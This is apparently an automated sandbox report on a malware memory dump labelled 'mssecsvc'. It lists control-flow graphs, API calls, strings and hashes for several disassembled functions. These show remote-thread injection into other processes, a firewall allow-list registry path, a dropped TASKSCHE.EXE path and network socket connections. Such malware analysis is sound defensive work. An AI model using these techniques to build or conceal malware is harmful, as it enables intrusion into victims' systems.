                                                                                                • API String ID: 215653160-1557072419
                                                                                                • Opcode ID: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                                                                                                • Instruction ID: 7541589ca8aef85322091197c42534de99d7bca435932005a89768fd23254656
                                                                                                • Opcode Fuzzy Hash: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                                                                                                • Instruction Fuzzy Hash: 4CE1F171409348BFEB229F708C4ABFA7BACEF42304F004559EC4A9E091D6F66F0597A1
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3D1F Relevance: 44.1, APIs: 19, Strings: 6, Instructions: 389stringCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 444 7fea3d1f-7fea3dc0 lstrcat call 7fea3d36 GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b76 455 7fea3dc8-7fea3dcd call 7fea3b76 444->455 456 7fea3dc2 444->456 459 7fea3dcf-7fea3de6 455->459 456->455 460 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 459->460 465 7fea3dfa-7fea3dfc 460->465 466 7fea3dfe-7fea3e1a call 7fea63a0 460->466 467 7fea3e1b-7fea3e1c 465->467 466->467 467->460 469 7fea3e1e-7fea3e24 467->469 469->459 471 7fea3e26-7fea3e30 call 7fea273c 469->471 474 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 471->474 475 7fea3e32-7fea3e3a call 7fea2750 471->475 479 7fea3e7a-7fea3e80 474->479 480 7fea3e82-7fea3e88 474->480 475->474 481 7fea3e91-7fea3e9e 479->481 480->481 482 7fea3e8a 480->482 483 7fea3ea4-7fea3ec8 call 7fea3eb5 481->483 484 7fea3f25 481->484 482->481 486 7fea3f2f 483->486 493 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 483->493 484->486 488 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 486->488 489 7fea3f31-7fea3f49 CreateThread CloseHandle 486->489 502 7fea3ffa-7fea400b CreateEventA 488->502 503 7fea3fd3-7fea3ff8 CreateThread CloseHandle 488->503 489->488 493->484 498 7fea3f20 call 7fea3405 493->498 498->484 504 7fea4012-7fea402a call 7fea37fa 502->504 503->502 507 7fea402c-7fea402f 504->507 508 7fea4031-7fea4044 call 7fea3b90 504->508 507->508 509 7fea404c-7fea4054 507->509 514 7fea404a 508->514 515 7fea42be-7fea42c5 508->515 511 7fea4056-7fea4063 lstrlen 509->511 512 7fea4065-7fea406e gethostbyname 509->512 511->511 511->512 516 7fea4074-7fea407b 512->516 517 7fea4315-7fea431b 512->517 518 7fea4081-7fea40a0 socket 514->518 519 7fea4320-7fea4322 RtlExitUserThread 515->519 520 7fea42c7-7fea42ce 515->520 516->518 517->504 518->515 521 7fea40a6-7fea40b9 connect 518->521 522 7fea42e2-7fea42e9 520->522 523 7fea42d0-7fea42dc SetEvent 520->523 524 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 521->524 525 7fea42b7-7fea42b8 closesocket 521->525 526 7fea42eb 522->526 527 7fea42f2-7fea4310 Sleep ResetEvent 522->527 523->522 538 7fea4170 524->538 539 7fea4195-7fea41a5 call 7fea3358 524->539 525->515 526->527 527->504 541 7fea4192-7fea4194 538->541 542 7fea4172-7fea418c wsprintfA 538->542 545 7fea41c3-7fea41ca 539->545 546 7fea41a7-7fea41bd CreateThread CloseHandle 539->546 541->539 542->541 543 7fea418e 542->543 543->541 547 7fea41d0-7fea41eb 545->547 546->545 549 7fea41ed-7fea41f4 547->549 550 7fea4210-7fea4214 547->550 549->550 551 7fea41f6-7fea4207 GetTickCount 549->551 550->525 552 7fea421a-7fea421c 550->552 551->550 553 7fea4209 551->553 554 7fea421e-7fea4236 552->554 553->550 555 7fea423b-7fea4243 554->555 556 7fea4238 554->556 555->554 557 7fea4245 555->557 556->555 558 7fea424b-7fea424f 557->558 559 7fea4261-7fea4263 558->559 560 7fea4251-7fea4258 call 7fea2f08 558->560 562 7fea4265-7fea426f 559->562 560->525 565 7fea425a 560->565 564 7fea4274-7fea4282 call 7fea6541 call 7fea655b 562->564 564->547 571 7fea4288-7fea4292 Sleep 564->571 565->562 567 7fea425c-7fea425f 565->567 567->558 571->564 572 7fea4294-7fea42a5 GetTickCount 571->572 572->547 573 7fea42ab-7fea42b2 572->573 573->525 573->547
                                                                                                APIs
                                                                                                • lstrcat.KERNEL32(C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,7FEA3D12), ref: 7FEA3D20
                                                                                                  • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                                                                                                  • Part of subcall function 7FEA3D36: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                                  • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                                  • Part of subcall function 7FEA3D36: GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                                  • Part of subcall function 7FEA3D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                                • String ID: -yX$ADVAPI32.DLL$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 2038497427-1557072419
                                                                                                • Opcode ID: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                                                                                                • Instruction ID: aa1c8551e8f76fbb525208f0bea2f920101e632125f5267fb1ed65396364aa08
                                                                                                • Opcode Fuzzy Hash: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                                                                                                • Instruction Fuzzy Hash: A2E1F071419348BFEB229F748C4ABFA7BACEF42304F004559E84A9E081DAF66F059765
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3D36 Relevance: 44.1, APIs: 19, Strings: 6, Instructions: 379libraryCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 574 7fea3d36-7fea3dc0 LoadLibraryA call 7fea3d4b GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b76 585 7fea3dc8-7fea3dcd call 7fea3b76 574->585 586 7fea3dc2 574->586 589 7fea3dcf-7fea3de6 585->589 586->585 590 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 589->590 595 7fea3dfa-7fea3dfc 590->595 596 7fea3dfe-7fea3e1a call 7fea63a0 590->596 597 7fea3e1b-7fea3e1c 595->597 596->597 597->590 599 7fea3e1e-7fea3e24 597->599 599->589 601 7fea3e26-7fea3e30 call 7fea273c 599->601 604 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 601->604 605 7fea3e32-7fea3e3a call 7fea2750 601->605 609 7fea3e7a-7fea3e80 604->609 610 7fea3e82-7fea3e88 604->610 605->604 611 7fea3e91-7fea3e9e 609->611 610->611 612 7fea3e8a 610->612 613 7fea3ea4-7fea3ec8 call 7fea3eb5 611->613 614 7fea3f25 611->614 612->611 616 7fea3f2f 613->616 623 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 613->623 614->616 618 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 616->618 619 7fea3f31-7fea3f49 CreateThread CloseHandle 616->619 632 7fea3ffa-7fea400b CreateEventA 618->632 633 7fea3fd3-7fea3ff8 CreateThread CloseHandle 618->633 619->618 623->614 628 7fea3f20 call 7fea3405 623->628 628->614 634 7fea4012-7fea402a call 7fea37fa 632->634 633->632 637 7fea402c-7fea402f 634->637 638 7fea4031-7fea4044 call 7fea3b90 634->638 637->638 639 7fea404c-7fea4054 637->639 644 7fea404a 638->644 645 7fea42be-7fea42c5 638->645 641 7fea4056-7fea4063 lstrlen 639->641 642 7fea4065-7fea406e gethostbyname 639->642 641->641 641->642 646 7fea4074-7fea407b 642->646 647 7fea4315-7fea431b 642->647 648 7fea4081-7fea40a0 socket 644->648 649 7fea4320-7fea4322 RtlExitUserThread 645->649 650 7fea42c7-7fea42ce 645->650 646->648 647->634 648->645 651 7fea40a6-7fea40b9 connect 648->651 652 7fea42e2-7fea42e9 650->652 653 7fea42d0-7fea42dc SetEvent 650->653 654 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 651->654 655 7fea42b7-7fea42b8 closesocket 651->655 656 7fea42eb 652->656 657 7fea42f2-7fea4310 Sleep ResetEvent 652->657 653->652 668 7fea4170 654->668 669 7fea4195-7fea41a5 call 7fea3358 654->669 655->645 656->657 657->634 671 7fea4192-7fea4194 668->671 672 7fea4172-7fea418c wsprintfA 668->672 675 7fea41c3-7fea41ca 669->675 676 7fea41a7-7fea41bd CreateThread CloseHandle 669->676 671->669 672->671 673 7fea418e 672->673 673->671 677 7fea41d0-7fea41eb 675->677 676->675 679 7fea41ed-7fea41f4 677->679 680 7fea4210-7fea4214 677->680 679->680 681 7fea41f6-7fea4207 GetTickCount 679->681 680->655 682 7fea421a-7fea421c 680->682 681->680 683 7fea4209 681->683 684 7fea421e-7fea4236 682->684 683->680 685 7fea423b-7fea4243 684->685 686 7fea4238 684->686 685->684 687 7fea4245 685->687 686->685 688 7fea424b-7fea424f 687->688 689 7fea4261-7fea4263 688->689 690 7fea4251-7fea4258 call 7fea2f08 688->690 692 7fea4265-7fea426f 689->692 690->655 695 7fea425a 690->695 694 7fea4274-7fea4282 call 7fea6541 call 7fea655b 692->694 694->677 701 7fea4288-7fea4292 Sleep 694->701 695->692 697 7fea425c-7fea425f 695->697 697->688 701->694 702 7fea4294-7fea42a5 GetTickCount 701->702 702->677 703 7fea42ab-7fea42b2 702->703 703->655 703->677
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                                                                                                  • Part of subcall function 7FEA3D4B: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                                  • Part of subcall function 7FEA3D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                                  • Part of subcall function 7FEA3D4B: GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                                  • Part of subcall function 7FEA3D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                                • String ID: -yX$ADVAPI32.DLL$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 3734769084-1557072419
                                                                                                • Opcode ID: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                                                                                                • Instruction ID: 04a7c8116a9fb35f71bbffa2808c6274a5c5ffd0f068440cbef2dd7623ef1827
                                                                                                • Opcode Fuzzy Hash: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                                                                                                • Instruction Fuzzy Hash: 9DD10071419348BFEB229F748C4ABFA7BACEF41304F004519E84A9E091DBF66F059765
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3D4B Relevance: 42.4, APIs: 18, Strings: 6, Instructions: 386librarythreadnetworkCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 704 7fea3d4b-7fea3d72 GetProcAddress LoadLibraryA 705 7fea3d7d-7fea3dc0 call 7fea01cb GetTickCount call 7fea3b76 704->705 706 7fea3d78 call 7fea10ce 704->706 711 7fea3dc8-7fea3dcd call 7fea3b76 705->711 712 7fea3dc2 705->712 706->705 715 7fea3dcf-7fea3de6 711->715 712->711 716 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 715->716 721 7fea3dfa-7fea3dfc 716->721 722 7fea3dfe-7fea3e1a call 7fea63a0 716->722 723 7fea3e1b-7fea3e1c 721->723 722->723 723->716 725 7fea3e1e-7fea3e24 723->725 725->715 727 7fea3e26-7fea3e30 call 7fea273c 725->727 730 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 727->730 731 7fea3e32-7fea3e3a call 7fea2750 727->731 735 7fea3e7a-7fea3e80 730->735 736 7fea3e82-7fea3e88 730->736 731->730 737 7fea3e91-7fea3e9e 735->737 736->737 738 7fea3e8a 736->738 739 7fea3ea4-7fea3ec8 call 7fea3eb5 737->739 740 7fea3f25 737->740 738->737 742 7fea3f2f 739->742 749 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 739->749 740->742 744 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 742->744 745 7fea3f31-7fea3f49 CreateThread CloseHandle 742->745 758 7fea3ffa-7fea400b CreateEventA 744->758 759 7fea3fd3-7fea3ff8 CreateThread CloseHandle 744->759 745->744 749->740 754 7fea3f20 call 7fea3405 749->754 754->740 760 7fea4012-7fea402a call 7fea37fa 758->760 759->758 763 7fea402c-7fea402f 760->763 764 7fea4031-7fea4044 call 7fea3b90 760->764 763->764 765 7fea404c-7fea4054 763->765 770 7fea404a 764->770 771 7fea42be-7fea42c5 764->771 767 7fea4056-7fea4063 lstrlen 765->767 768 7fea4065-7fea406e gethostbyname 765->768 767->767 767->768 772 7fea4074-7fea407b 768->772 773 7fea4315-7fea431b 768->773 774 7fea4081-7fea40a0 socket 770->774 775 7fea4320-7fea4322 RtlExitUserThread 771->775 776 7fea42c7-7fea42ce 771->776 772->774 773->760 774->771 777 7fea40a6-7fea40b9 connect 774->777 778 7fea42e2-7fea42e9 776->778 779 7fea42d0-7fea42dc SetEvent 776->779 780 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 777->780 781 7fea42b7-7fea42b8 closesocket 777->781 782 7fea42eb 778->782 783 7fea42f2-7fea4310 Sleep ResetEvent 778->783 779->778 794 7fea4170 780->794 795 7fea4195-7fea41a5 call 7fea3358 780->795 781->771 782->783 783->760 797 7fea4192-7fea4194 794->797 798 7fea4172-7fea418c wsprintfA 794->798 801 7fea41c3-7fea41ca 795->801 802 7fea41a7-7fea41bd CreateThread CloseHandle 795->802 797->795 798->797 799 7fea418e 798->799 799->797 803 7fea41d0-7fea41eb 801->803 802->801 805 7fea41ed-7fea41f4 803->805 806 7fea4210-7fea4214 803->806 805->806 807 7fea41f6-7fea4207 GetTickCount 805->807 806->781 808 7fea421a-7fea421c 806->808 807->806 809 7fea4209 807->809 810 7fea421e-7fea4236 808->810 809->806 811 7fea423b-7fea4243 810->811 812 7fea4238 810->812 811->810 813 7fea4245 811->813 812->811 814 7fea424b-7fea424f 813->814 815 7fea4261-7fea4263 814->815 816 7fea4251-7fea4258 call 7fea2f08 814->816 818 7fea4265-7fea426f 815->818 816->781 821 7fea425a 816->821 820 7fea4274-7fea4282 call 7fea6541 call 7fea655b 818->820 820->803 827 7fea4288-7fea4292 Sleep 820->827 821->818 823 7fea425c-7fea425f 821->823 823->814 827->820 828 7fea4294-7fea42a5 GetTickCount 827->828 828->803 829 7fea42ab-7fea42b2 828->829 829->781 829->803
                                                                                                APIs
                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                                • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,000000C8), ref: 7FEA3EE2
                                                                                                • wsprintfA.USER32 ref: 7FEA3EF7
                                                                                                • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                                                                                                • CloseHandle.KERNEL32(?,BC0A3BDD), ref: 7FEA3F49
                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                                                                                                • connect.WS2_32(71757405,7FEA3B09,00000010), ref: 7FEA40B1
                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                                                                                                • wsprintfA.USER32 ref: 7FEA4179
                                                                                                • SetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA42D6
                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA42F7
                                                                                                • ResetEvent.KERNEL32(000002A0,?,00000000), ref: 7FEA430A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateEvent$CloseHandleThreadwsprintf$AddressCountFileInformationLibraryLoadModuleNameProcResetSleepTickVersionVolumeconnectsocket
                                                                                                • String ID: -yX$ADVAPI32.DLL$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 1567941233-1557072419
                                                                                                • Opcode ID: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                                                                                                • Instruction ID: 0fd1af5c82e6ac19fee7a4e27b5b7e3d4aaa516ddc9e53bac77035a7f4224d32
                                                                                                • Opcode Fuzzy Hash: 8f5bda587157e99726d781c634e3378632d432898dcbe4ad85f90d404c80ec81
                                                                                                • Instruction Fuzzy Hash: BBE1EF71419348BFEB229F748C4ABFA7BACEF41304F00465AEC4A9E081D6F66F059761
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 1084 7fea042d-7fea04a4 call 7fea10ce 1087 7fea04dd 1084->1087 1088 7fea04a6-7fea04db call 7fea273c GetModuleHandleA 1084->1088 1089 7fea04e4-7fea0509 call 7fea2750 GetVersion 1087->1089 1088->1089 1094 7fea05ca-7fea05d1 1089->1094 1095 7fea050f-7fea0530 VirtualAlloc 1089->1095 1096 7fea05a9-7fea0615 CloseHandle GetModuleHandleA call 7fea10ce 1094->1096 1098 7fea05d3-7fea05fc SetProcessAffinityMask call 7fea05f2 1094->1098 1095->1096 1097 7fea0532-7fea0562 call 7fea0305 1095->1097 1110 7fea0617-7fea0630 1096->1110 1097->1096 1111 7fea0564-7fea057b 1097->1111 1105 7fea05fe-7fea061c 1098->1105 1106 7fea0621-7fea0630 1098->1106 1105->1106 1112 7fea0639-7fea0652 1106->1112 1113 7fea0632 1106->1113 1110->1112 1110->1113 1111->1096 1118 7fea057d-7fea05a4 1111->1118 1112->1096 1114 7fea0658-7fea0671 1112->1114 1113->1112 1114->1096 1115 7fea0677-7fea0690 1114->1115 1115->1096 1117 7fea0696-7fea069c 1115->1117 1119 7fea06d8-7fea06de 1117->1119 1120 7fea069e-7fea06b1 1117->1120 1118->1096 1130 7fea05a4 call 7fea05ba 1118->1130 1122 7fea06fc-7fea0715 lstrcpyW call 7fea24ae 1119->1122 1123 7fea06e0-7fea06f3 1119->1123 1120->1096 1121 7fea06b7-7fea06bd 1120->1121 1121->1119 1126 7fea06bf-7fea06d2 1121->1126 1131 7fea074c-7fea0775 NtMapViewOfSection 1122->1131 1132 7fea0717-7fea0746 GetPEB lstrcpyW lstrcatW call 7fea24ae 1122->1132 1123->1122 1127 7fea06f5 1123->1127 1126->1096 1126->1119 1127->1122 1130->1096 1131->1096 1134 7fea077b-7fea078f call 7fea0305 NtOpenProcessToken 1131->1134 1132->1096 1132->1131 1138 7fea0791-7fea07a3 call 7fea115d call 7fea07ac 1134->1138 1139 7fea07c5-7fea07dc CreateToolhelp32Snapshot Process32First 1134->1139 1155 7fea080e-7fea080f 1138->1155 1156 7fea07a5 1138->1156 1140 7fea07de-7fea07e7 1139->1140 1142 7fea07e9 1140->1142 1143 7fea0810-7fea0818 call 7fea2574 1140->1143 1145 7fea07eb-7fea07f5 Process32Next 1142->1145 1153 7fea081a-7fea0820 1143->1153 1154 7fea085c-7fea0863 CloseHandle 1143->1154 1148 7fea07f7-7fea07fb 1145->1148 1149 7fea0865-7fea0872 CloseHandle 1145->1149 1148->1145 1152 7fea07fd-7fea080d OpenProcess 1148->1152 1149->1096 1152->1145 1152->1155 1153->1154 1157 7fea0822-7fea0832 1153->1157 1154->1145 1155->1143 1156->1143 1158 7fea07a7-7fea07b5 1156->1158 1157->1154 1160 7fea0834-7fea084b CreateRemoteThread 1157->1160 1158->1140 1159 7fea07b7-7fea07c4 1158->1159 1159->1139 1160->1154 1161 7fea084d-7fea0857 call 7fea05ba 1160->1161 1161->1154
                                                                                                APIs
                                                                                                • GetModuleHandleA.KERNEL32(00000000), ref: 7FEA04BE
                                                                                                • GetVersion.KERNEL32 ref: 7FEA0500
                                                                                                • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 7FEA0528
                                                                                                • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: Handle$AllocCloseModuleVersionVirtual
                                                                                                • String ID: \BaseNamedObjects\xnotVt$\BaseNamedObjects\xnotVt$csrs
                                                                                                • API String ID: 3017432202-1498766448
                                                                                                • Opcode ID: de4c51b9f1a35e059deb9bf34ed45e7a99d272d95fd9061e6944feadbc11bb8e
                                                                                                • Instruction ID: 2352751916cfc4e91842ef4cf6aa016473ce0fc48385fbc707970a84512b7ebf
                                                                                                • Opcode Fuzzy Hash: de4c51b9f1a35e059deb9bf34ed45e7a99d272d95fd9061e6944feadbc11bb8e
                                                                                                • Instruction Fuzzy Hash: 18B19D71506349FFEB229F24C849BFA3BA9FF45715F000128EA0A9E181C7F69B45CB59
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 1163 7fea05f2-7fea0615 GetModuleHandleA call 7fea10ce 1166 7fea05a9-7fea05b3 CloseHandle 1163->1166 1167 7fea0617-7fea0630 1163->1167 1166->1163 1168 7fea0639-7fea0652 1167->1168 1169 7fea0632 1167->1169 1168->1166 1170 7fea0658-7fea0671 1168->1170 1169->1168 1170->1166 1171 7fea0677-7fea0690 1170->1171 1171->1166 1172 7fea0696-7fea069c 1171->1172 1173 7fea06d8-7fea06de 1172->1173 1174 7fea069e-7fea06b1 1172->1174 1176 7fea06fc-7fea0715 lstrcpyW call 7fea24ae 1173->1176 1177 7fea06e0-7fea06f3 1173->1177 1174->1166 1175 7fea06b7-7fea06bd 1174->1175 1175->1173 1179 7fea06bf-7fea06d2 1175->1179 1182 7fea074c-7fea0775 NtMapViewOfSection 1176->1182 1183 7fea0717-7fea0746 GetPEB lstrcpyW lstrcatW call 7fea24ae 1176->1183 1177->1176 1180 7fea06f5 1177->1180 1179->1166 1179->1173 1180->1176 1182->1166 1185 7fea077b-7fea078f call 7fea0305 NtOpenProcessToken 1182->1185 1183->1166 1183->1182 1189 7fea0791-7fea07a3 call 7fea115d call 7fea07ac 1185->1189 1190 7fea07c5-7fea07dc CreateToolhelp32Snapshot Process32First 1185->1190 1206 7fea080e-7fea080f 1189->1206 1207 7fea07a5 1189->1207 1191 7fea07de-7fea07e7 1190->1191 1193 7fea07e9 1191->1193 1194 7fea0810-7fea0818 call 7fea2574 1191->1194 1196 7fea07eb-7fea07f5 Process32Next 1193->1196 1204 7fea081a-7fea0820 1194->1204 1205 7fea085c-7fea0863 CloseHandle 1194->1205 1199 7fea07f7-7fea07fb 1196->1199 1200 7fea0865-7fea0872 CloseHandle 1196->1200 1199->1196 1203 7fea07fd-7fea080d OpenProcess 1199->1203 1200->1166 1203->1196 1203->1206 1204->1205 1208 7fea0822-7fea0832 1204->1208 1205->1196 1206->1194 1207->1194 1209 7fea07a7-7fea07b5 1207->1209 1208->1205 1211 7fea0834-7fea084b CreateRemoteThread 1208->1211 1209->1191 1210 7fea07b7-7fea07c4 1209->1210 1210->1190 1211->1205 1212 7fea084d-7fea0857 call 7fea05ba 1211->1212 1212->1205
                                                                                                APIs
                                                                                                • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                                • GetModuleHandleA.KERNEL32(7FEA05EC), ref: 7FEA05F2
                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\xnotVt,\BaseNamedObjects\xnotVt), ref: 7FEA070A
                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\xnotVt,?), ref: 7FEA072D
                                                                                                • lstrcatW.KERNEL32(\BaseNamedObjects\xnotVt,\xnotVt), ref: 7FEA073B
                                                                                                • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 7FEA076B
                                                                                                • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 7FEA0786
                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                                                                                                • Process32First.KERNEL32 ref: 7FEA07DC
                                                                                                • Process32Next.KERNEL32 ref: 7FEA07ED
                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA0805
                                                                                                • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003C38,00000002,00000000), ref: 7FEA0842
                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 7FEA085D
                                                                                                • CloseHandle.KERNEL32 ref: 7FEA086C
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                                • String ID: \BaseNamedObjects\xnotVt$\BaseNamedObjects\xnotVt$csrs
                                                                                                • API String ID: 1545766225-1498766448
                                                                                                • Opcode ID: f5b970b6f5b07df2fb7b99a51cb797de827286dd66f6ab04eda436291cf19646
                                                                                                • Instruction ID: bee72186f086cb87c622d673f2d75399ecf58675897575d9401cab54ecece453
                                                                                                • Opcode Fuzzy Hash: f5b970b6f5b07df2fb7b99a51cb797de827286dd66f6ab04eda436291cf19646
